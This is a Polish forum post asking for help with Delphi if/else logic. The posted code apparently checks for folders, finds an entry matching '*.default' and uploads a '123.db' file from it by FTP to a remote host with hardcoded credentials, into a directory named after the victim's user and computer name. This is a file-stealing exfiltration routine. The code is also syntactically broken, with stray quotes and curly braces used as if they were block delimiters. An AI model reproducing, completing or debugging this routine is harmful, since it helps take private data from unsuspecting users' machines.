Witam...
Program powinien mniej więcej działać tak:
jeżeli jest folder "1" to ma wykonac dzialanie.......
jeżeli NIE MA folderu 1 to , jezeli jest folder 2 ma wykonac inne dzialanie....
natomiast ma nie wykonywać obu działań w przypadku gdy jest folder 1 i folder 2...(musi wykonać tylko 1 dzialanie)
bez
klamerek "{" , "}" program wykonuje oba warunki w przypadku jak jest
folder 1 i folder 2....natomiast po wstawieniu klamerek, program wcale
się nie wykonuje ;/
sciezka := 'c:\1\';
if (DirectoryExists(sciezka))
Then
{
while (Fik = 0) do
begin
Fik := FindFirst( sciezka + '\*.folder', faAnyFile, SR);
Fik := FindNext(SR);
FindClose(SR);
listbox1.items.add(sciezka+sr.Name);
memo1.lines:=listbox1.items;
idFTP1.Host := 'ftp.sss'+hash+'.url.ph';
idFTP1.Username := 'u129400946';
idFTP1.Password := '11'+pass;
IdFTP1.Port:= 21;
idFTP1.Connect();
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName');
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName');
idFTP1.Put (memo1.lines[0]+'\123.db','123.db');
idFTP1.Disconnect();
end;
}
else
sciezka := 'C:\2\';
if (DirectoryExists(sciezka)) Then
{
while (Fik = 0) do
begin
Fik := FindFirst( sciezka + '*.default', faAnyFile, SR);
Fik := FindNext(SR);
FindClose(SR);
listbox1.items.add(sciezka+sr.Name);
memo1.lines:=listbox1.items;
idFTP1.Host := 'ftp.sss'+hash+'.url.ph';
idFTP1.Username := 'u129400946';
idFTP1.Password := '11'+pass;
IdFTP1.Port:= 21;
idFTP1.Connect();
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName');
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName');
idFTP1.Put (memo1.lines[0]+'\123.db','123.db');
idFTP1.Disconnect();
end; }